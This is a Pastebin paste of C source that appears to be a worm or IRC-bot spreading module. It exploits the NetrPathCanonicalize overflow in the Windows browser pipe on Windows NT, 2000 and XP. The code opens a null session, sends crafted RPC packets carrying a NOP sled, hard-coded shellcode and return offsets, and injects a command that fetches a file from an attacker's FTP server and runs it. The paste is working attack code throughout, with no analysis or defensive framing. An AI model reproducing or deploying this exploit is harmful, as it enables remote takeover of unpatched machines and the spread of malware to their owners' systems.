Advertisement
Guest User

Untitled

a guest
Jun 20th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "../includes.h"
  2. #include "../Base/b_functions.h"
  3.  
  4. #include <time.h>
  5. #include <math.h>
  6. #pragma comment( lib, "mpr.lib" )
  7.  
  8. // consts
  9. #define MAX_FRAG_SIZE   ( 4280 )
  10. #define PATH_SIZE       ( 1064 )
  11. #define MAX_TRIES       ( 3 )
  12. #define TRY_TIMEOUT     ( 2000 )
  13.  
  14. /* use:
  15.     - EXITFUNC: thread
  16.     - max size: 370
  17.     - bad chars: 0x00 0x0a 0x0d 0x5c 0x5f 0x2f 0x2e
  18. */
  19. char execute[] =
  20.     "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
  21.     "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
  22.     "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
  23.     "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
  24.     "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30"
  25.     "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
  26.     "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\xeb\x0d"
  27.     "\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff\xe7\xe8\xee\xff"
  28.     "\xff\xff"; // 130 bytes 0x82
  29. unsigned char stack[] = "\x81\xc4\xff\xef\xff\xff\x44"; // sub esp, 4097
  30.  
  31. // targetz
  32. typedef struct
  33. {
  34.     const char *pszName;
  35.     size_t nPathLen;
  36.     size_t nOffsetStartAddr;
  37.     size_t nShellCodeAddr;
  38.     bool bIsWinXP;
  39. } Target;
  40. Target Targetz[] =
  41. {
  42.     { "Windows NT4, 2000 (SP0-SP4)",1066,   1000,   600,    false },
  43.     { "Windows XP (SP0+SP1)",       710,    612,    0,      true },
  44. };
  45. unsigned long nOffset1 = 0x00020804;        // Win2k + WinXP SP1
  46. unsigned long nOffset2 = nOffset1 + 6;      // WinXP SP0
  47.  
  48. // -----------------------------
  49. #pragma pack( 1 )
  50. typedef unsigned char UINT8;
  51. typedef unsigned short UINT16;
  52. //typedef unsigned long UINT32;
  53. typedef struct
  54. {
  55.     UINT32 maxlength;
  56.     UINT32 offset;
  57.     UINT32 length;
  58. } UNISTR2;
  59. typedef struct
  60. {
  61.     UINT8 versionmaj;
  62.     UINT8 versionmin;
  63.     UINT8 type;
  64.     UINT8 flags;
  65.     UINT32 representation;
  66.     UINT16 fraglength;
  67.     UINT16 authlength;
  68.     UINT32 callid;
  69. } RPC_Header;
  70. typedef struct
  71. {
  72.     UINT8 byte[16];
  73.     UINT32 version;
  74. } RPC_Iface;
  75. typedef struct
  76. {
  77.     RPC_Header NormalHeader;
  78.    
  79.     UINT16 maxtsize;
  80.     UINT16 maxrsize;
  81.     UINT32 assocgid;
  82.     UINT32 numelements;
  83.     UINT16 contextid;
  84.     UINT8 numsyntaxes;
  85.  
  86.     UINT8 align;
  87.  
  88.     RPC_Iface Interface1;
  89.     RPC_Iface Interface2;
  90. } RPC_ReqBind;
  91. typedef struct
  92. {
  93.     RPC_Header NormalHeader;
  94.  
  95.     UINT32 allochint;
  96.     UINT16 prescontext;
  97.     UINT16 opnum;
  98. } RPC_ReqNorm;
  99. typedef struct
  100. {
  101.     UINT32 ReferendID;
  102.     UNISTR2 Server;
  103.     wchar_t Server_Data;
  104.     char align[ 2 ];
  105. } NetrPathCanonicalize_Start;
  106. typedef struct
  107. {
  108.     UINT32 OutBufLen;
  109.     UNISTR2 Prefix;
  110.     wchar_t Prefix_Data[ 2 ];
  111.     UINT32 Type;
  112.     UINT32 Flags;
  113. } NetrPathCanonicalize_End;
  114. #pragma pack()
  115. // -----------------------------
  116. ////////////////////////////////////////////////////////////////
  117. bool SendReqPacket_Part( HANDLE hPipe, RPC_ReqNorm pPacketHeader, unsigned char *pStubData, size_t nDataLen, UINT16 nMaxSize, bool bFirst )
  118. {
  119.     bool bSendNext;
  120.     unsigned char *pPacket;
  121.     DWORD nBytesWritten;
  122.  
  123.     // first fragment
  124.     if( bFirst )
  125.         pPacketHeader.NormalHeader.flags |= 1; // first fragment
  126.     else
  127.         pPacketHeader.NormalHeader.flags &= ~1; // not first fragment
  128.  
  129.     if( ( nDataLen + sizeof( RPC_ReqNorm ) ) <= nMaxSize )
  130.     {
  131.         // last
  132.         pPacketHeader.NormalHeader.fraglength   = (UINT16)( nDataLen + sizeof( RPC_ReqNorm ) );
  133.         pPacketHeader.allochint                 = (UINT32)nDataLen;
  134.         pPacketHeader.NormalHeader.flags        |= 2; // last fragment
  135.  
  136.         bSendNext = false;
  137.     }
  138.     else
  139.     {
  140.         // not last fragment
  141.         pPacketHeader.NormalHeader.fraglength   = (UINT16)nMaxSize;
  142.         pPacketHeader.allochint                 = nMaxSize - sizeof( RPC_ReqNorm );
  143.         pPacketHeader.NormalHeader.flags        &= ~2; // not last fragment
  144.  
  145.         bSendNext = true;
  146.     }
  147.  
  148.     // alloc packet
  149.     pPacket = (unsigned char*)malloc( pPacketHeader.NormalHeader.fraglength );
  150.     if( !pPacket )
  151.         return false;
  152.  
  153.     // make packet
  154.     *(RPC_ReqNorm*)pPacket = pPacketHeader; // copy header
  155.     memcpy( &pPacket[ sizeof( RPC_ReqNorm ) ], pStubData, pPacketHeader.allochint ); // add stub data
  156.  
  157.     // send
  158.     if( !WriteFile( hPipe, pPacket, pPacketHeader.NormalHeader.fraglength, &nBytesWritten, NULL ) ||
  159.         nBytesWritten != pPacketHeader.NormalHeader.fraglength )
  160.     {
  161.         free( pPacket );
  162.         return false;
  163.     }
  164.     free( pPacket );
  165.  
  166.     // send remaining
  167.     if( bSendNext )
  168.         return SendReqPacket_Part( hPipe, pPacketHeader, pStubData + pPacketHeader.allochint, nDataLen - pPacketHeader.allochint, nMaxSize, false );
  169.     else
  170.         return true;
  171. }
  172.  
  173. BOOL netapi(char *target, void* conn,EXINFO exinfo)
  174. {
  175.     char *pszTarget;
  176.     char szIPC[ 8192 ];
  177.     char szPipe[ 8192 ];
  178.     char szShellBuf[370];
  179.     unsigned char RecvBuff[ 8192 ];
  180.     unsigned char *pPath;
  181.     unsigned char *pPacket;
  182.     int nTarget;
  183.  
  184.     NETRESOURCE NetSource;
  185.     DWORD nNullSessionError;
  186.     HANDLE hPipe;
  187.     RPC_ReqBind BindPacket;
  188.     DWORD nBytesWritten;
  189.     DWORD nBytesRead;
  190.  
  191.     NetrPathCanonicalize_Start PStart;
  192.     NetrPathCanonicalize_End PEnd;
  193.     size_t nPathLen;
  194.     size_t nBufferPos;
  195.     size_t nPacketSize;
  196.  
  197.     RPC_ReqNorm ReqNormalHeader;
  198.     bool bExit;
  199.     int nCount;
  200.     OVERLAPPED ov;
  201.  
  202.     IRC* irc=(IRC*)conn;
  203.  
  204. // Set Correct offset
  205.  
  206.    nTarget = 1;
  207.  
  208.     int iHostOS=FpHost(exinfo.ip, FP_SMB);
  209.     if(iHostOS==OS_WIN2K || OS_WINNT){
  210.     nTarget = 0;
  211.     }
  212.  
  213.     pszTarget = exinfo.ip;
  214.  
  215. // Setup execshell
  216. //  char fname[_MAX_FNAME];
  217.     char szTempbuf[ 512 ];
  218.     memcpy(szTempbuf, execute, sizeof(szTempbuf));
  219. //  sprintf(fname,"s_%d%d%d%d%d.exe",rand()%9,rand()%9,rand()%9,rand()%9,rand()%9);
  220.  
  221.     DWORD nCmdLen = _snprintf( szTempbuf + sizeof( execute ) - 1, sizeof( szTempbuf ),
  222.    "cmd /c echo open %s %s > n&echo user %s %s >> n &echo get %s >> n &echo quit >> n &ftp -n -s:n &%s&del n\r\n",
  223.       ftpip,ftpport,ftplogin,ftppass,ftpfilename,ftpfilename);
  224.    
  225.     int iShellSize = EncodeRNS0(szShellBuf, sizeof(szShellBuf), szTempbuf, sizeof( execute ) + nCmdLen); // sizeof( exec_Shellcode ) - 1 + nCmdLen + 1 == x - 1 + y + 1; -1 + 1 = 0
  226.     if( !iShellSize )
  227.         return FALSE;
  228. // Create NullSession
  229.  
  230.     if( _stricmp( pszTarget, "." ) )
  231.     {
  232.         _snprintf( szIPC, sizeof( szIPC ), "\\\\%s\\ipc$", pszTarget ); // change this to another pipe.... ;) -xd
  233.         memset( &NetSource, 0 ,sizeof( NetSource ) );
  234.         NetSource.lpRemoteName = szIPC;
  235.         nNullSessionError = WNetAddConnection2( &NetSource, "", "", 0 );
  236.     }
  237. // Connect to pipe
  238.  
  239.     _snprintf( szPipe, sizeof( szPipe ), "\\\\%s\\pipe\\browser", pszTarget );
  240.     hPipe = CreateFile( szPipe,
  241.         GENERIC_WRITE | GENERIC_READ,
  242.         FILE_SHARE_READ | FILE_SHARE_WRITE,
  243.         NULL,
  244.         OPEN_EXISTING,
  245.         FILE_FLAG_OVERLAPPED,
  246.         NULL );
  247.     if( hPipe == INVALID_HANDLE_VALUE )
  248.     {
  249.         return 1;
  250.     }
  251. // Bind packet
  252.  
  253.     memset( &BindPacket, 0, sizeof( BindPacket ) );
  254.     BindPacket.NormalHeader.versionmaj      = 5;
  255.     BindPacket.NormalHeader.versionmin      = 0;
  256.     BindPacket.NormalHeader.type            = 11;   // bind
  257.     BindPacket.NormalHeader.flags           = 3;    // first + last fragment
  258.     BindPacket.NormalHeader.representation  = 0x00000010; // little endian
  259.     BindPacket.NormalHeader.fraglength      = sizeof( BindPacket );
  260.     BindPacket.NormalHeader.authlength      = 0;
  261.     BindPacket.NormalHeader.callid          = 0;
  262.     BindPacket.maxtsize                     = MAX_FRAG_SIZE;
  263.     BindPacket.maxrsize                     = MAX_FRAG_SIZE;
  264.     BindPacket.assocgid                     = 0;
  265.     BindPacket.numelements                  = 1;
  266.     BindPacket.contextid                    = 0;
  267.     BindPacket.numsyntaxes                  = 1;
  268.     memcpy( BindPacket.Interface1.byte, "\xC8\x4F\x32\x4B\x70\x16\xD3\x01\x12\x78\x5A\x47\xBF\x6E\xE1\x88", 16 );
  269.     BindPacket.Interface1.version           = 3;
  270.     memcpy( BindPacket.Interface2.byte, "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60", 16 );
  271.     BindPacket.Interface2.version           = 2;
  272.  
  273. // Send
  274.     if( !WriteFile( hPipe, &BindPacket, sizeof( RPC_ReqBind ), &nBytesWritten, NULL ) )
  275.     {
  276.         CloseHandle( hPipe );
  277.         return 1;
  278.     }
  279.     ReadFile( hPipe, RecvBuff, sizeof( RecvBuff ), &nBytesRead, NULL ); // dummy receive
  280. // Generate bad packet
  281.  
  282.     srand( (int)time( NULL ) );
  283.    
  284. // Build packet parts
  285.  
  286.     memset( &PStart, 0x41, sizeof( PStart ) );
  287.     memset( &PEnd, 0x41, sizeof( PEnd ) );
  288.  
  289. // Start
  290.     PStart.ReferendID       = rand();
  291.     PStart.Server.length    = 1;
  292.     PStart.Server.offset    = 0;
  293.     PStart.Server.maxlength = 1;
  294.     PStart.Server_Data      = L'';
  295.  
  296. // End
  297.     if( Targetz[ nTarget ].bIsWinXP )
  298.     {
  299.         // WinXP
  300.         PEnd.Prefix.length      = 1;
  301.         PEnd.Prefix.offset      = 0;
  302.         PEnd.Prefix.maxlength   = 1;
  303.         memcpy( PEnd.Prefix_Data, "\x00\x00\x00\x00", 4 );
  304.     }
  305.     else
  306.     {
  307.         // Win2k
  308.         PEnd.Prefix.length      = 2;
  309.         PEnd.Prefix.offset      = 0;
  310.         PEnd.Prefix.maxlength   = 2;
  311.         memcpy( PEnd.Prefix_Data, "\xeb\x02\x00\x00", 4 );
  312.     }
  313.     PEnd.OutBufLen          = rand() % 250 + 1;
  314.     PEnd.Type               = rand() % 250 + 1;;
  315.     PEnd.Flags              = 0;
  316.  
  317. // BadPath
  318.     nPathLen = Targetz[ nTarget ].nPathLen;
  319.     pPath = (unsigned char*)malloc( nPathLen );
  320.     if( !pPath )
  321.     {
  322.         CloseHandle( hPipe );
  323.         return 1;
  324.     }
  325. // Nop
  326.     memset( pPath, 0x90, nPathLen - 2 );
  327. // Null termination
  328.     memset( pPath + nPathLen - 2, 0, 2 );
  329. // Stack
  330.     nBufferPos = Targetz[ nTarget ].nShellCodeAddr;
  331.     memcpy( pPath + nBufferPos, stack, sizeof( stack ) - 1 );
  332.     nBufferPos += sizeof( stack ) - 1;
  333. // Shellcode
  334.     memcpy( pPath + nBufferPos, szShellBuf, iShellSize);
  335.     nBufferPos += iShellSize;
  336. // Offsets
  337.     nBufferPos = Targetz[ nTarget ].nOffsetStartAddr;
  338.     if( Targetz[ nTarget ].bIsWinXP )
  339.     {
  340. // Win XP
  341.  
  342.         // - SP0
  343.         memcpy( pPath + nBufferPos, &nOffset2, sizeof( nOffset1 ) );
  344.         nBufferPos += 4;
  345.         // - padding
  346.         nBufferPos += 8;
  347.         // - SP0
  348.         memcpy( pPath + nBufferPos, &nOffset1, sizeof( nOffset1 ) );
  349.         nBufferPos += 4;
  350.        
  351.         // - padding
  352.         nBufferPos += 32;
  353.        
  354.         // - SP1
  355.         memcpy( pPath + nBufferPos, &nOffset1, sizeof( nOffset1 ) );
  356.         nBufferPos += 4;
  357.         // - padding
  358.         nBufferPos += 8;
  359.         // - SP1
  360.         memcpy( pPath + nBufferPos, &nOffset1, sizeof( nOffset1 ) );
  361.         nBufferPos += 4;
  362.  
  363.         // - padding
  364.         nBufferPos += 32;
  365.  
  366.         nBufferPos += sizeof( wchar_t );
  367.     }
  368.     else
  369.     {
  370.         //
  371.         // Win2k
  372.         //
  373.  
  374.         for( size_t n = 0; n < 16; n++ )
  375.             memcpy( pPath + nBufferPos + ( n * sizeof( nOffset1 ) ), &nOffset1, sizeof( nOffset1 ) );
  376.     }
  377.  
  378. // Add them up
  379.  
  380.     nPacketSize =
  381.           sizeof( PStart )
  382.         + sizeof( UNISTR2 )
  383.         + nPathLen + sizeof( wchar_t ) + /* for maybe an align -> */4
  384.         + sizeof( NetrPathCanonicalize_End );
  385.     pPacket = (unsigned char*)malloc( nPacketSize );
  386.     if( !pPacket )
  387.     {
  388.         CloseHandle( hPipe );
  389.         free( pPath );
  390.         return 1;
  391.     }
  392.     memset( pPacket, 0, nPacketSize );
  393.     nBufferPos = 0;
  394.  
  395.     memcpy( pPacket, &PStart, sizeof( PStart ) );
  396.     nBufferPos += sizeof( NetrPathCanonicalize_Start );
  397.  
  398.     ( (UNISTR2*)( pPacket + nBufferPos ) )->length      = (UINT32)ceil( (float)nPathLen / sizeof( wchar_t ) );
  399.     ( (UNISTR2*)( pPacket + nBufferPos ) )->offset      = 0;
  400.     ( (UNISTR2*)( pPacket + nBufferPos ) )->maxlength   = ( (UNISTR2*)( pPacket + nBufferPos ) )->length;
  401.     nBufferPos += sizeof( UNISTR2 );
  402.  
  403.     memcpy( pPacket + nBufferPos, pPath, nPathLen );
  404.     nBufferPos += nPathLen;
  405. // Align
  406.     while( nBufferPos % 4 )
  407.         nBufferPos++;
  408.     // ---
  409.     memcpy( pPacket + nBufferPos, &PEnd, sizeof( PEnd ) );
  410.     nBufferPos += sizeof( PEnd );
  411.     // ---
  412.     free( pPath ); // clean up
  413.          
  414. // Generate send header
  415.     memset( &ReqNormalHeader, 0, sizeof( ReqNormalHeader ) );
  416.     ReqNormalHeader.NormalHeader.versionmaj     = 5;
  417.     ReqNormalHeader.NormalHeader.versionmin     = 0;
  418.     ReqNormalHeader.NormalHeader.type           = 0;    // request
  419.     ReqNormalHeader.NormalHeader.flags          = 3;    // first + last fragment
  420.     ReqNormalHeader.NormalHeader.representation = 0x00000010; // little endian
  421.     ReqNormalHeader.NormalHeader.authlength     = 0;
  422.     ReqNormalHeader.NormalHeader.callid         = 0;
  423.     ReqNormalHeader.prescontext                 = 0;
  424.     ReqNormalHeader.opnum                       = 0x1f;
  425.     // =====================
  426.    
  427. // Send and check response
  428.     memset( &ov, 0, sizeof( ov ) );
  429.     ov.hEvent   = CreateEvent( NULL, TRUE, FALSE, NULL );
  430.     bExit       = false;
  431.     nCount      = 0;
  432.     while( !bExit && nCount < MAX_TRIES )
  433.     {
  434.         nCount++;
  435.  
  436. // Send request
  437.         if( !SendReqPacket_Part( hPipe, ReqNormalHeader, pPacket, nBufferPos, MAX_FRAG_SIZE, true ) )
  438.             break;
  439.  
  440. // Check response
  441.         if( ov.hEvent )
  442.         {
  443.             if( !ReadFile( hPipe, RecvBuff, sizeof( RecvBuff ), &nBytesRead, &ov ) && GetLastError() != ERROR_IO_PENDING )
  444.                 return FALSE;
  445.             else
  446.             {
  447.                 if( WaitForSingleObject( ov.hEvent, TRY_TIMEOUT ) == WAIT_TIMEOUT )
  448.                 {
  449.                     bExit = true;
  450.                 }
  451.             }
  452.  
  453.         }
  454.     }
  455. // Clean up
  456.     CloseHandle( hPipe );
  457.     free( pPacket );
  458.     if( ov.hEvent )
  459.         CloseHandle( ov.hEvent );
  460.     if (bExit)
  461.         return TRUE;
  462.     return FALSE;
  463. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement